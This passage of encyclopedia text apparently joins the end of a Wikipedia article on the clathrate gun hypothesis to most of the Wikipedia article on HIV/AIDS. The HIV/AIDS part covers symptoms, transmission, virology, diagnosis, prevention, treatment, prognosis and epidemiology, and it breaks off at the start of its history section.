In Charles Stross' Laundry Files universe, an intentionally triggered clathrate gun scenario is viewed as a possible retaliatory strategy that could be utilized by Blue Hades in response to terminal violation of the Benthic Treaty.
See also
Atlantic meridional overturning circulation
Azolla event
Clathrate compound
Effects of climate change
Extinction event
Limnic eruption
Methane chimney
Ocean acidification
Storegga Slide
References
Further reading
, cited by 21 other articles.
External links
Methane: A Scientific Journey from Obscurity to Climate Super-Stardom Good Sept. 2004 background report from NASA GISS
Wakening the Kraken
History of climate variability and change
Permian–Triassic extinction event
Clathrates
Meteorological hypotheses
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https://en.wikipedia.org/wiki/HIV/AIDS
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HIV/AIDS
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Infection with HIV (Human Immunodeficiency Virus), a retrovirus, can be managed with treatment but without treatment can lead to a spectrum of conditions including AIDS (Acquired Immunodeficiency Syndrome).
Effective treatment for HIV-positive people (people living with HIV) involves a life-long regimen of medicine to suppress the virus, making the viral load undetectable. There is not yet a vaccine nor a cure. An HIV-positive person on treatment can expect to live a normal life, and die with the virus, not of it.
An HIV-positive person who has an undetectable viral load as a result of long-term treatment has effectively no risk of transmitting HIV sexually. Campaigns by UNAIDS and organizations around the world have communicated this as Undetectable = Untransmittable.
Without treatment the infection can interfere with the immune system, and eventually progress to AIDS, sometimes taking many years. Following initial infection an individual may not notice any symptoms, or may experience a brief period of influenza-like illness. During this period the person may not know that they are HIV-positive, yet be able to pass on the virus. Typically, this period is followed by a prolonged incubation period with no symptoms. Eventually the HIV infection increases the risk of developing other infections such as tuberculosis, as well as other opportunistic infections, and tumors which are rare in people who have normal immune function. The late stage is often also associated with unintended weight loss. Without treatment a person living with HIV can expect to live for 11 years. Early testing can show if treatment is needed to stop this progression and to prevent infecting others.
HIV is spread primarily by unprotected sex (including anal and vaginal sex), contaminated hypodermic needles or blood transfusions, and from mother to child during pregnancy, delivery, or breastfeeding. Some bodily fluids, such as saliva, sweat, and tears, do not transmit the virus. Oral sex has little risk of transmitting the virus.
Ways to avoid catching HIV and preventing the spread include safe sex, treatment to prevent infection ("PrEP"), treatment to stop infection in someone who has been recently exposed ("PEP"), treating those who are infected, and needle exchange programs. Disease in a baby can often be prevented by giving both the mother and child antiretroviral medication.
Recognized worldwide in the early 1980s, HIV/AIDS has had a large impact on society, both as an illness and as a source of discrimination. The disease also has large economic impacts. There are many misconceptions about HIV/AIDS, such as the belief that it can be transmitted by casual non-sexual contact. The disease has become subject to many controversies involving religion, including the Catholic Church's position not to support condom use as prevention. It has attracted international medical and political attention as well as large-scale funding since it was identified in the 1980s.
HIV made the jump from other primates to humans in west-central Africa in the early-to-mid 20th century. AIDS was first recognized by the U.S. Centers for Disease Control and Prevention (CDC) in 1981 and its cause—HIV infection—was identified in the early part of the decade. Between the first time AIDS was readily identified through 2021, the disease is estimated to have caused at least 40 million deaths worldwide. In 2021, there were 650,000 deaths and about 38 million people worldwide living with HIV. An estimated 20.6 million of these people live in eastern and southern Africa. HIV/AIDS is considered a pandemic—a disease outbreak which is present over a large area and is actively spreading.
The United States' National Institutes of Health (NIH) and the Gates Foundation have pledged $200 million focused on developing a global cure for AIDS. While there is no cure or vaccine, antiretroviral treatment can slow the course of the disease and may lead to a near-normal life expectancy. Treatment is recommended as soon as the diagnosis is made. Without treatment, the average survival time after infection is 11 years.
Signs and symptoms
There are three main stages of HIV infection: acute infection, clinical latency, and AIDS.
Acute infection
The initial period following infection with HIV is called acute HIV, primary HIV or acute retroviral syndrome. Many individuals develop an illness like influenza, mononucleosis or glandular fever 2–4 weeks after exposure while others have no significant symptoms. Symptoms occur in 40–90% of cases and most commonly include fever, large tender lymph nodes, throat inflammation, a rash, headache, tiredness, and/or sores of the mouth and genitals. The rash, which occurs in 20–50% of cases, presents itself on the trunk and is maculopapular, classically. Some people also develop opportunistic infections at this stage. Gastrointestinal symptoms, such as vomiting or diarrhea may occur. Neurological symptoms of peripheral neuropathy or Guillain–Barré syndrome also occur. The duration of the symptoms varies, but is usually one or two weeks.
These symptoms are not often recognized as signs of HIV infection. Family doctors or hospitals can misdiagnose cases as one of the many common infectious diseases with similar symptoms. Someone with an unexplained fever who may have been recently exposed to HIV should consider testing to find out if they have been infected.
Clinical latency
The initial symptoms are followed by a stage called clinical latency, asymptomatic HIV, or chronic HIV. Without treatment, this second stage of the natural history of HIV infection can last from about three years to over 20 years (on average, about eight years). While typically there are few or no symptoms at first, near the end of this stage many people experience fever, weight loss, gastrointestinal problems and muscle pains. Between 50% and 70% of people also develop persistent generalized lymphadenopathy, characterized by unexplained, non-painful enlargement of more than one group of lymph nodes (other than in the groin) for over three to six months.
Although most HIV-1 infected individuals have a detectable viral load and in the absence of treatment will eventually progress to AIDS, a small proportion (about 5%) retain high levels of CD4+ T cells (T helper cells) without antiretroviral therapy for more than five years. These individuals are classified as "HIV controllers" or long-term nonprogressors (LTNP). Another group consists of those who maintain a low or undetectable viral load without anti-retroviral treatment, known as "elite controllers" or "elite suppressors". They represent approximately 1 in 300 infected persons.
Acquired immunodeficiency syndrome
Acquired immunodeficiency syndrome (AIDS) is defined as an HIV infection with either a CD4+ T cell count below 200 cells per µL or the occurrence of specific diseases associated with HIV infection. In the absence of specific treatment, around half of people infected with HIV develop AIDS within ten years. The most common initial conditions that alert to the presence of AIDS are pneumocystis pneumonia (40%), cachexia in the form of HIV wasting syndrome (20%), and esophageal candidiasis. Other common signs include recurrent respiratory tract infections.
Opportunistic infections may be caused by bacteria, viruses, fungi, and parasites that are normally controlled by the immune system. Which infections occur depends partly on what organisms are common in the person's environment. These infections may affect nearly every organ system.
People with AIDS have an increased risk of developing various viral-induced cancers, including Kaposi's sarcoma, Burkitt's lymphoma, primary central nervous system lymphoma, and cervical cancer. Kaposi's sarcoma is the most common cancer, occurring in 10% to 20% of people with HIV. The second-most common cancer is lymphoma, which is the cause of death of nearly 16% of people with AIDS and is the initial sign of AIDS in 3% to 4%. Both these cancers are associated with human herpesvirus 8 (HHV-8). Cervical cancer occurs more frequently in those with AIDS because of its association with human papillomavirus (HPV). Conjunctival cancer (of the layer that lines the inner part of eyelids and the white part of the eye) is also more common in those with HIV.
Additionally, people with AIDS frequently have systemic symptoms such as prolonged fevers, sweats (particularly at night), swollen lymph nodes, chills, weakness, and unintended weight loss. Diarrhea is another common symptom, present in about 90% of people with AIDS. They can also be affected by diverse psychiatric and neurological symptoms independent of opportunistic infections and cancers.
Transmission
HIV is spread by three main routes: sexual contact, significant exposure to infected body fluids or tissues, and from mother to child during pregnancy, delivery, or breastfeeding (known as vertical transmission). There is no risk of acquiring HIV if exposed to feces, nasal secretions, saliva, sputum, sweat, tears, urine, or vomit unless these are contaminated with blood. It is also possible to be co-infected by more than one strain of HIV—a condition known as HIV superinfection.
Sexual
The most frequent mode of transmission of HIV is through sexual contact with an infected person. However, an HIV-positive person who has an undetectable viral load as a result of long-term treatment has effectively no risk of transmitting HIV sexually. The existence of functionally noncontagious HIV-positive people on antiretroviral therapy was controversially publicized in the 2008 Swiss Statement, and has since become accepted as medically sound.
Globally, the most common mode of HIV transmission is via sexual contacts between people of the opposite sex; however, the pattern of transmission varies among countries. , most HIV transmission in the United States occurred among men who had sex with men (82% of new HIV diagnoses among males aged 13 and older and 70% of total new diagnoses). In the US, gay and bisexual men aged 13 to 24 accounted for an estimated 92% of new HIV diagnoses among all men in their age group and 27% of new diagnoses among all gay and bisexual men.
With regard to unprotected heterosexual contacts, estimates of the risk of HIV transmission per sexual act appear to be four to ten times higher in low-income countries than in high-income countries. In low-income countries, the risk of female-to-male transmission is estimated as 0.38% per act, and of male-to-female transmission as 0.30% per act; the equivalent estimates for high-income countries are 0.04% per act for female-to-male transmission, and 0.08% per act for male-to-female transmission. The risk of transmission from anal intercourse is especially high, estimated as 1.4–1.7% per act in both heterosexual and homosexual contacts. While the risk of transmission from oral sex is relatively low, it is still present. The risk from receiving oral sex has been described as "nearly nil"; however, a few cases have been reported. The per-act risk is estimated at 0–0.04% for receptive oral intercourse. In settings involving prostitution in low-income countries, risk of female-to-male transmission has been estimated as 2.4% per act, and of male-to-female transmission as 0.05% per act.
Risk of transmission increases in the presence of many sexually transmitted infections and genital ulcers. Genital ulcers appear to increase the risk approximately fivefold. Other sexually transmitted infections, such as gonorrhea, chlamydia, trichomoniasis, and bacterial vaginosis, are associated with somewhat smaller increases in risk of transmission.
The viral load of an infected person is an important risk factor in both sexual and mother-to-child transmission. During the first 2.5 months of an HIV infection a person's infectiousness is twelve times higher due to the high viral load associated with acute HIV. If the person is in the late stages of infection, rates of transmission are approximately eightfold greater.
Commercial sex workers (including those in pornography) have an increased likelihood of contracting HIV. Rough sex can be a factor associated with an increased risk of transmission. Sexual assault is also believed to carry an increased risk of HIV transmission as condoms are rarely worn, physical trauma to the vagina or rectum is likely, and there may be a greater risk of concurrent sexually transmitted infections.
Body fluids
The second-most frequent mode of HIV transmission is via blood and blood products. Blood-borne transmission can be through needle-sharing during intravenous drug use, needle-stick injury, transfusion of contaminated blood or blood product, or medical injections with unsterilized equipment. The risk from sharing a needle during drug injection is between 0.63% and 2.4% per act, with an average of 0.8%. The risk of acquiring HIV from a needle stick from an HIV-infected person is estimated as 0.3% (about 1 in 333) per act and the risk following mucous membrane exposure to infected blood as 0.09% (about 1 in 1000) per act. This risk may, however, be up to 5% if the introduced blood was from a person with a high viral load and the cut was deep. In the United States, intravenous drug users made up 12% of all new cases of HIV in 2009, and in some areas more than 80% of people who inject drugs are HIV-positive.
HIV is transmitted in about 90% of blood transfusions using infected blood. In developed countries the risk of acquiring HIV from a blood transfusion is extremely low (less than one in half a million) where improved donor selection and HIV screening is performed; for example, in the UK the risk is reported at one in five million and in the United States it was one in 1.5 million in 2008. In low-income countries, only half of transfusions may be appropriately screened (as of 2008), and it is estimated that up to 15% of HIV infections in these areas come from transfusion of infected blood and blood products, representing between 5% and 10% of global infections. It is possible to acquire HIV from organ and tissue transplantation, although this is rare because of screening.
Unsafe medical injections play a role in HIV spread in sub-Saharan Africa. In 2007, between 12% and 17% of infections in this region were attributed to medical syringe use. The World Health Organization estimates the risk of transmission as a result of a medical injection in Africa at 1.2%. Risks are also associated with invasive procedures, assisted delivery, and dental care in this area of the world.
People giving or receiving tattoos, piercings, and scarification are theoretically at risk of infection but no confirmed cases have been documented. It is not possible for mosquitoes or other insects to transmit HIV.
Mother-to-child
HIV can be transmitted from mother to child during pregnancy, during delivery, or through breast milk, resulting in the baby also contracting HIV. As of 2008, vertical transmission accounted for about 90% of cases of HIV in children. In the absence of treatment, the risk of transmission before or during birth is around 20%, and in those who also breastfeed 35%. Treatment decreases this risk to less than 5%.
Antiretrovirals when taken by either the mother or the baby decrease the risk of transmission in those who do breastfeed. If blood contaminates food during pre-chewing it may pose a risk of transmission. If a woman is untreated, two years of breastfeeding results in an HIV/AIDS risk in her baby of about 17%. Due to the increased risk of death without breastfeeding in many areas in the developing world, the World Health Organization recommends either exclusive breastfeeding or the provision of safe formula. All women known to be HIV-positive should be taking lifelong antiretroviral therapy.
Virology
HIV is the cause of the spectrum of disease known as HIV/AIDS. HIV is a retrovirus that primarily infects components of the human immune system such as CD4+ T cells, macrophages and dendritic cells. It directly and indirectly destroys CD4+ T cells.
HIV is a member of the genus Lentivirus, part of the family Retroviridae. Lentiviruses share many morphological and biological characteristics. Many species of mammals are infected by lentiviruses, which are characteristically responsible for long-duration illnesses with a long incubation period. Lentiviruses are transmitted as single-stranded, positive-sense, enveloped RNA viruses. Upon entry into the target cell, the viral RNA genome is converted (reverse transcribed) into double-stranded DNA by a virally encoded reverse transcriptase that is transported along with the viral genome in the virus particle. The resulting viral DNA is then imported into the cell nucleus and integrated into the cellular DNA by a virally encoded integrase and host co-factors. Once integrated, the virus may become latent, allowing the virus and its host cell to avoid detection by the immune system. Alternatively, the virus may be transcribed, producing new RNA genomes and viral proteins that are packaged and released from the cell as new virus particles that begin the replication cycle anew.
HIV is now known to spread between CD4+ T cells by two parallel routes: cell-free spread and cell-to-cell spread, i.e. it employs hybrid spreading mechanisms. In the cell-free spread, virus particles bud from an infected T cell, enter the blood/extracellular fluid and then infect another T cell following a chance encounter. HIV can also disseminate by direct transmission from one cell to another by a process of cell-to-cell spread. The hybrid spreading mechanisms of HIV contribute to the virus' ongoing replication against antiretroviral therapies.
Two types of HIV have been characterized: HIV-1 and HIV-2. HIV-1 is the virus that was originally discovered (and initially referred to also as LAV or HTLV-III). It is more virulent, more infective, and is the cause of the majority of HIV infections globally. The lower infectivity of HIV-2 as compared with HIV-1 implies that fewer people exposed to HIV-2 will be infected per exposure. Because of its relatively poor capacity for transmission, HIV-2 is largely confined to West Africa.
Pathophysiology
After the virus enters the body, there is a period of rapid viral replication, leading to an abundance of virus in the peripheral blood. During primary infection, the level of HIV may reach several million virus particles per milliliter of blood. This response is accompanied by a marked drop in the number of circulating CD4+ T cells. The acute viremia is almost invariably associated with activation of CD8+ T cells, which kill HIV-infected cells, and subsequently with antibody production, or seroconversion. The CD8+ T cell response is thought to be important in controlling virus levels, which peak and then decline, as the CD4+ T cell counts recover. A good CD8+ T cell response has been linked to slower disease progression and a better prognosis, though it does not eliminate the virus.
Ultimately, HIV causes AIDS by depleting CD4+ T cells. This weakens the immune system and allows opportunistic infections. T cells are essential to the immune response and without them, the body cannot fight infections or kill cancerous cells. The mechanism of CD4+ T cell depletion differs in the acute and chronic phases. During the acute phase, HIV-induced cell lysis and killing of infected cells by CD8+ T cells accounts for CD4+ T cell depletion, although apoptosis may also be a factor. During the chronic phase, the consequences of generalized immune activation coupled with the gradual loss of the ability of the immune system to generate new T cells appear to account for the slow decline in CD4+ T cell numbers.
Although the symptoms of immune deficiency characteristic of AIDS do not appear for years after a person is infected, the bulk of CD4+ T cell loss occurs during the first weeks of infection, especially in the intestinal mucosa, which harbors the majority of the lymphocytes found in the body. The reason for the preferential loss of mucosal CD4+ T cells is that the majority of mucosal CD4+ T cells express the CCR5 protein which HIV uses as a co-receptor to gain access to the cells, whereas only a small fraction of CD4+ T cells in the bloodstream do so. A specific genetic change that alters the CCR5 protein when present in both chromosomes very effectively prevents HIV-1 infection.
HIV seeks out and destroys CCR5 expressing CD4+ T cells during acute infection. A vigorous immune response eventually controls the infection and initiates the clinically latent phase. CD4+ T cells in mucosal tissues remain particularly affected. Continuous HIV replication causes a state of generalized immune activation persisting throughout the chronic phase. Immune activation, which is reflected by the increased activation state of immune cells and release of pro-inflammatory cytokines, results from the activity of several HIV gene products and the immune response to ongoing HIV replication. It is also linked to the breakdown of the immune surveillance system of the gastrointestinal mucosal barrier caused by the depletion of mucosal CD4+ T cells during the acute phase of disease.
Diagnosis
HIV/AIDS is diagnosed via laboratory testing and then staged based on the presence of certain signs or symptoms. HIV screening is recommended by the United States Preventive Services Task Force for all people 15 years to 65 years of age, including all pregnant women. Additionally, testing is recommended for those at high risk, which includes anyone diagnosed with a sexually transmitted illness. In many areas of the world, a third of HIV carriers only discover they are infected at an advanced stage of the disease when AIDS or severe immunodeficiency has become apparent.
HIV testing
Most people infected with HIV develop specific antibodies (i.e. seroconvert) within three to twelve weeks after the initial infection. Diagnosis of primary HIV before seroconversion is done by measuring HIV-RNA or p24 antigen. Positive results obtained by antibody or PCR testing are confirmed either by a different antibody or by PCR.
Antibody tests in children younger than 18 months are typically inaccurate, due to the continued presence of maternal antibodies. Thus HIV infection can only be diagnosed by PCR testing for HIV RNA or DNA, or via testing for the p24 antigen. Much of the world lacks access to reliable PCR testing, and people in many places simply wait until either symptoms develop or the child is old enough for accurate antibody testing. In sub-Saharan Africa between 2007 and 2009, between 30% and 70% of the population were aware of their HIV status. In 2009, between 3.6% and 42% of men and women in sub-Saharan countries were tested; this represented a significant increase compared to previous years.
Classifications
Two main clinical staging systems are used to classify HIV and HIV-related disease for surveillance purposes: the WHO disease staging system for HIV infection and disease, and the CDC classification system for HIV infection. The CDC's classification system is more frequently adopted in developed countries. Since the WHO's staging system does not require laboratory tests, it is suited to the resource-restricted conditions encountered in developing countries, where it can also be used to help guide clinical management. Despite their differences, the two systems allow a comparison for statistical purposes.
The World Health Organization first proposed a definition for AIDS in 1986. Since then, the WHO classification has been updated and expanded several times, with the most recent version being published in 2007. The WHO system uses the following categories:
Primary HIV infection: May be either asymptomatic or associated with acute retroviral syndrome
Stage I: HIV infection is asymptomatic with a CD4+ T cell count (also known as CD4 count) greater than 500 per microlitre (µl or cubic mm) of blood. May include generalized lymph node enlargement.
Stage II: Mild symptoms, which may include minor mucocutaneous manifestations and recurrent upper respiratory tract infections. A CD4 count of less than 500/µl
Stage III: Advanced symptoms, which may include unexplained chronic diarrhea for longer than a month, severe bacterial infections including tuberculosis of the lung, and a CD4 count of less than 350/µl
Stage IV or AIDS: severe symptoms, which include toxoplasmosis of the brain, candidiasis of the esophagus, trachea, bronchi, or lungs, and Kaposi's sarcoma. A CD4 count of less than 200/µl
The U.S. Centers for Disease Control and Prevention also created a classification system for HIV, and updated it in 2008 and 2014. This system classifies HIV infections based on CD4 count and clinical symptoms, and describes the infection in five groups. In those greater than six years of age it is:
Stage 0: the time between a negative or indeterminate HIV test followed less than 180 days by a positive test.
Stage 1: CD4 count ≥ 500 cells/µl and no AIDS-defining conditions.
Stage 2: CD4 count 200 to 500 cells/µl and no AIDS-defining conditions.
Stage 3: CD4 count ≤ 200 cells/µl or AIDS-defining conditions.
Unknown: if insufficient information is available to make any of the above classifications.
For surveillance purposes, the AIDS diagnosis still stands even if, after treatment, the CD4+ T cell count rises to above 200 per µL of blood or other AIDS-defining illnesses are cured.
Prevention
Sexual contact
Consistent condom use reduces the risk of HIV transmission by approximately 80% over the long term. When condoms are used consistently by a couple in which one person is infected, the rate of HIV infection is less than 1% per year. There is some evidence to suggest that female condoms may provide an equivalent level of protection. Application of a vaginal gel containing tenofovir (a reverse transcriptase inhibitor) immediately before sex seems to reduce infection rates by approximately 40% among African women. By contrast, use of the spermicide nonoxynol-9 may increase the risk of transmission due to its tendency to cause vaginal and rectal irritation.
Circumcision in sub-Saharan Africa "reduces the acquisition of HIV by heterosexual men by between 38% and 66% over 24 months". Owing to these studies, both the World Health Organization and UNAIDS recommended male circumcision in 2007 as a method of preventing female-to-male HIV transmission in areas with high rates of HIV. However, whether it protects against male-to-female transmission is disputed, and whether it is of benefit in developed countries and among men who have sex with men is undetermined.
Programs encouraging sexual abstinence do not appear to affect subsequent HIV risk. Evidence of any benefit from peer education is equally poor. Comprehensive sexual education provided at school may decrease high-risk behavior. A substantial minority of young people continues to engage in high-risk practices despite knowing about HIV/AIDS, underestimating their own risk of becoming infected with HIV. Voluntary counseling and testing people for HIV does not affect risky behavior in those who test negative but does increase condom use in those who test positive. Enhanced family planning services appear to increase the likelihood of women with HIV using contraception, compared to basic services. It is not known whether treating other sexually transmitted infections is effective in preventing HIV.
Pre-exposure
Antiretroviral treatment among people with HIV whose CD4 count ≤ 550 cells/µL is a very effective way to prevent HIV infection of their partner (a strategy known as treatment as prevention, or TASP). TASP is associated with a 10- to 20-fold reduction in transmission risk. Pre-exposure prophylaxis (PrEP) with a daily dose of the medications tenofovir, with or without emtricitabine, is effective in people at high risk including men who have sex with men, couples where one is HIV-positive, and young heterosexuals in Africa. It may also be effective in intravenous drug users, with a study finding a decrease in risk of 0.7 to 0.4 per 100 person years. The USPSTF, in 2019, recommended PrEP in those who are at high risk.
Universal precautions within the health care environment are believed to be effective in decreasing the risk of HIV. Intravenous drug use is an important risk factor, and harm reduction strategies such as needle-exchange programs and opioid substitution therapy appear effective in decreasing this risk.
Post-exposure
A course of antiretrovirals administered within 48 to 72 hours after exposure to HIV-positive blood or genital secretions is referred to as post-exposure prophylaxis (PEP). The use of the single agent zidovudine reduces the risk of an HIV infection five-fold following a needle-stick injury. , the prevention regimen recommended in the United States consists of three medications—tenofovir, emtricitabine and raltegravir—as this may reduce the risk further.
PEP treatment is recommended after a sexual assault when the perpetrator is known to be HIV-positive, but is controversial when their HIV status is unknown. The duration of treatment is usually four weeks and is frequently associated with adverse effects—where zidovudine is used, about 70% of cases result in adverse effects such as nausea (24%), fatigue (22%), emotional distress (13%) and headaches (9%).
Mother-to-child
Programs to prevent the vertical transmission of HIV (from mothers to children) can reduce rates of transmission by 92–99%. This primarily involves the use of a combination of antiviral medications during pregnancy and after birth in the infant, and potentially includes bottle feeding rather than breastfeeding. If replacement feeding is acceptable, feasible, affordable, sustainable and safe, mothers should avoid breastfeeding their infants; however, exclusive breastfeeding is recommended during the first months of life if this is not the case. If exclusive breastfeeding is carried out, the provision of extended antiretroviral prophylaxis to the infant decreases the risk of transmission. In 2015, Cuba became the first country in the world to eradicate mother-to-child transmission of HIV.
Vaccination
Currently there is no licensed vaccine for HIV or AIDS. The most effective vaccine trial to date, RV 144, was published in 2009; it found a partial reduction in the risk of transmission of roughly 30%, stimulating some hope in the research community of developing a truly effective vaccine.
Treatment
There is currently no cure, nor an effective HIV vaccine. Treatment consists of highly active antiretroviral therapy (HAART), which slows progression of the disease. , more than 6.6 million people were receiving HAART in low- and middle-income countries. Treatment also includes preventive and active treatment of opportunistic infections. , four people have been successfully cleared of HIV. Rapid initiation of antiretroviral therapy within one week of diagnosis appear to improve treatment outcomes in low and medium-income settings and is recommend for newly diagnosed HIV patients.
Antiviral therapy
Current HAART options are combinations (or "cocktails") consisting of at least three medications belonging to at least two types, or "classes", of antiretroviral agents. Initially, treatment is typically a non-nucleoside reverse transcriptase inhibitor (NNRTI) plus two nucleoside analog reverse transcriptase inhibitors (NRTIs). Typical NRTIs include: zidovudine (AZT) or tenofovir (TDF) and lamivudine (3TC) or emtricitabine (FTC). , dolutegravir/lamivudine/tenofovir is listed by the World Health Organization as the first-line treatment for adults, with tenofovir/lamivudine/efavirenz as an alternative. Combinations of agents that include protease inhibitors (PI) are used if the above regimen loses effectiveness.
The World Health Organization and the United States recommend antiretrovirals in people of all ages (including pregnant women) as soon as the diagnosis is made, regardless of CD4 count. Once treatment is begun, it is recommended that it is continued without breaks or "holidays". Many people are diagnosed only after treatment ideally should have begun. The desired outcome of treatment is a long-term plasma HIV-RNA count below 50 copies/mL. Levels to determine if treatment is effective are initially recommended after four weeks and once levels fall below 50 copies/mL checks every three to six months are typically adequate. Inadequate control is deemed to be greater than 400 copies/mL. Based on these criteria treatment is effective in more than 95% of people during the first year.
Benefits of treatment include a decreased risk of progression to AIDS and a decreased risk of death. In the developing world, treatment also improves physical and mental health. With treatment, there is a 70% reduced risk of acquiring tuberculosis. Additional benefits include a decreased risk of transmission of the disease to sexual partners and a decrease in mother-to-child transmission. The effectiveness of treatment depends to a large part on compliance. Reasons for non-adherence to treatment include poor access to medical care, inadequate social supports, mental illness and drug abuse. The complexity of treatment regimens (due to pill numbers and dosing frequency) and adverse effects may reduce adherence. Even though cost is an important issue with some medications, 47% of those who needed them were taking them in low- and middle-income countries , and the rate of adherence is similar in low-income and high-income countries.
Specific adverse events are related to the antiretroviral agent taken. Some relatively common adverse events include: lipodystrophy syndrome, dyslipidemia, and diabetes mellitus, especially with protease inhibitors. Other common symptoms include diarrhea, and an increased risk of cardiovascular disease. Newer recommended treatments are associated with fewer adverse effects. Certain medications may be associated with birth defects and therefore may be unsuitable for women hoping to have children.
Treatment recommendations for children are somewhat different from those for adults. The World Health Organization recommends treating all children less than five years of age; children above five are treated like adults. The United States guidelines recommend treating all children less than 12 months of age and all those with HIV RNA counts greater than 100,000 copies/mL between one year and five years of age.
The European Medicines Agency (EMA) has recommended the granting of marketing authorizations for two new antiretroviral (ARV) medicines, rilpivirine (Rekambys) and cabotegravir (Vocabria), to be used together for the treatment of people with human immunodeficiency virus type 1 (HIV-1) infection. The two medicines are the first ARVs that come in a long-acting injectable formulation. This means that instead of daily pills, people receive intramuscular injections monthly or every two months.
The combination of Rekambys and Vocabria injection is intended for maintenance treatment of adults who have undetectable HIV levels in the blood (viral load less than 50 copies/ml) with their current ARV treatment, and when the virus has not developed resistance to a certain class of anti-HIV medicines called non-nucleoside reverse transcriptase inhibitors (NNRTIs) and integrase strand transfer inhibitors (INIs).
Cabotegravir combined with rilpivirine (Cabenuva) is a complete regimen for the treatment of human immunodeficiency virus type 1 (HIV-1) infection in adults to replace a current antiretroviral regimen in those who are virologically suppressed on a stable antiretroviral regimen with no history of treatment failure and with no known or suspected resistance to either cabotegravir or rilpivirine.
Opportunistic infections
Measures to prevent opportunistic infections are effective in many people with HIV/AIDS. In addition to improving current disease, treatment with antiretrovirals reduces the risk of developing additional opportunistic infections.
Adults and adolescents who are living with HIV (even on anti-retroviral therapy) with no evidence of active tuberculosis in settings with high tuberculosis burden should receive isoniazid preventive therapy (IPT); the tuberculin skin test can be used to help decide if IPT is needed. Children with HIV may benefit from screening for tuberculosis. Vaccination against hepatitis A and B is advised for all people at risk of HIV before they become infected; however, it may also be given after infection.
Trimethoprim/sulfamethoxazole prophylaxis between four and six weeks of age, and ceasing breastfeeding of infants born to HIV-positive mothers, is recommended in resource-limited settings. It is also recommended to prevent PCP when a person's CD4 count is below 200 cells/uL and in those who have or have previously had PCP. People with substantial immunosuppression are also advised to receive prophylactic therapy for toxoplasmosis and MAC. Appropriate preventive measures reduced the rate of these infections by 50% between 1992 and 1997. Influenza vaccination and pneumococcal polysaccharide vaccine are often recommended in people with HIV/AIDS with some evidence of benefit.
Diet
The World Health Organization (WHO) has issued recommendations regarding nutrient requirements in HIV/AIDS. A generally healthy diet is promoted. Dietary intake of micronutrients at RDA levels by HIV-infected adults is recommended by the WHO; higher intake of vitamin A, zinc, and iron can produce adverse effects in HIV-positive adults, and is not recommended unless there is documented deficiency. Dietary supplementation for people who are infected with HIV and who have inadequate nutrition or dietary deficiencies may strengthen their immune systems or help them recover from infections; however, evidence indicating an overall benefit in morbidity or reduction in mortality is not consistent.
People with HIV/AIDS are up to four times more likely to develop type 2 diabetes than those who are not tested positive with the virus.
Evidence for supplementation with selenium is mixed with some tentative evidence of benefit. For pregnant and lactating women with HIV, multivitamin supplement improves outcomes for both mothers and children. If the pregnant or lactating mother has been advised to take anti-retroviral medication to prevent mother-to-child HIV transmission, multivitamin supplements should not replace these treatments. There is some evidence that vitamin A supplementation in children with an HIV infection reduces mortality and improves growth.
Alternative medicine
In the US, approximately 60% of people with HIV use various forms of complementary or alternative medicine, whose effectiveness has not been established. There is not enough evidence to support the use of herbal medicines. There is insufficient evidence to recommend or support the use of medical cannabis to try to increase appetite or weight gain.
Prognosis
HIV/AIDS has become a chronic rather than an acutely fatal disease in many areas of the world. Prognosis varies between people, and both the CD4 count and viral load are useful for predicted outcomes. Without treatment, average survival time after infection with HIV is estimated to be 9 to 11 years, depending on the HIV subtype. After the diagnosis of AIDS, if treatment is not available, survival ranges between 6 and 19 months. HAART and appropriate prevention of opportunistic infections reduces the death rate by 80%, and raises the life expectancy for a newly diagnosed young adult to 20–50 years. This is between two thirds and nearly that of the general population. If treatment is started late in the infection, prognosis is not as good: for example, if treatment is begun following the diagnosis of AIDS, life expectancy is ~10–40 years. Half of infants born with HIV die before two years of age without treatment.
The primary causes of death from HIV/AIDS are opportunistic infections and cancer, both of which are frequently the result of the progressive failure of the immune system. Risk of cancer appears to increase once the CD4 count is below 500/μL. The rate of clinical disease progression varies widely between individuals and has been shown to be affected by a number of factors such as a person's susceptibility and immune function; their access to health care, the presence of co-infections; and the particular strain (or strains) of the virus involved.
Tuberculosis co-infection is one of the leading causes of sickness and death in those with HIV/AIDS being present in a third of all HIV-infected people and causing 25% of HIV-related deaths. HIV is also one of the most important risk factors for tuberculosis. Hepatitis C is another very common co-infection where each disease increases the progression of the other. The two most common cancers associated with HIV/AIDS are Kaposi's sarcoma and AIDS-related non-Hodgkin's lymphoma. Other cancers that are more frequent include anal cancer, Burkitt's lymphoma, primary central nervous system lymphoma, and cervical cancer.
Even with anti-retroviral treatment, over the long term HIV-infected people may experience neurocognitive disorders, osteoporosis, neuropathy, cancers, nephropathy, and cardiovascular disease. Some conditions, such as lipodystrophy, may be caused both by HIV and its treatment.
Epidemiology
HIV/AIDS a global pandemic. , approximately 36.7 million people worldwide have HIV, the number of new infections that year being about 1.8 million. This is down from 3.1 million new infections in 2001. Slightly over half the infected population are women and 2.1 million are children. It resulted in about 1 million deaths in 2016, down from a peak of 1.9 million in 2005.
Sub-Saharan Africa is the region most affected. In 2010, an estimated 68% (22.9 million) of all HIV cases and 66% of all deaths (1.2 million) occurred in this region. This means that about 5% of the adult population is infected and it is believed to be the cause of 10% of all deaths in children. Here, in contrast to other regions, women comprise nearly 60% of cases. South Africa has the largest population of people with HIV of any country in the world at 5.9 million. Life expectancy has fallen in the worst-affected countries due to HIV/AIDS; for example, in 2006 it was estimated that it had dropped from 65 to 35 years in Botswana. Mother-to-child transmission in Botswana and South Africa, , has decreased to less than 5%, with improvement in many other African nations due to improved access to antiretroviral therapy.
South & South East Asia is the second most affected; in 2010 this region contained an estimated 4 million cases or 12% of all people living with HIV resulting in approximately 250,000 deaths. Approximately 2.4 million of these cases are in India.
During 2008 in the United States approximately 1.2 million people aged ≥13 years were living with HIV, resulting in about 17,500 deaths. The US Centers for Disease Control and Prevention estimated that in that year, 236,400 people or 20% of infected Americans were unaware of their infection. about 675,000 people have died of HIV/AIDS in the US since the beginning of the HIV epidemic. In the United Kingdom , there were approximately 101,200 cases which resulted in 594 deaths. In Canada as of 2008, there were about 65,000 cases causing 53 deaths. Between the first recognition of AIDS (in 1981) and 2009, it has led to nearly 30 million deaths. Rates of HIV are lowest in North Africa and the Middle East (0.1% or less), East Asia (0.1%), and Western and Central Europe (0.2%). The worst-affected European countries, in 2009 and 2012 estimates, are Russia, Ukraine, Latvia, Moldova, Portugal and Belarus, in decreasing order of prevalence.
History
Discovery
